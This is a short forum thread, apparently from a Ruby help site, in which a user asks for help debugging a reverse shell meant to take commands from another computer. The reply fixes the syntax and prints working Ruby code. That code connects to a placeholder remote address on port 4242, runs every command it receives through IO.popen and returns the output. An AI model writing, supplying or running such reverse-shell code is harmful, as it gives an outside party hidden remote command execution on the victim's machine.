Reverse shell problem

Hello, I’m trying to write a reverse shell to send command from another computer.
here source code;

on windows machine I have errors;
C:/Users/fatih/Desktop/shello/shello.rb:7: syntax error, unexpected ‘|’, expecting ‘}’
|io|c.print io.read
C:/Users/fatih/Desktop/shello/shello.rb:7: syntax error, unexpected local variable or method, expecting end' |io|c.print io.read C:/Users/fatih/Desktop/shello/shello.rb:8: syntax error, unexpected '}', expecting end’
What is my mistake?

The open bracket of the block needs to be on the same line as the popen call for Ruby to know that block argument goes with popen:

c=TCPSocket.new("IP_ADDRESS","4242");
while (cmd=c.gets);
  IO.popen(cmd,"r") {

  |io|c.print io.read
}
end

This forum is not affiliated to the Ruby language, Ruby on Rails framework, nor any Ruby applications discussed here.

| Privacy Policy | Terms of Service | Remote Ruby Jobs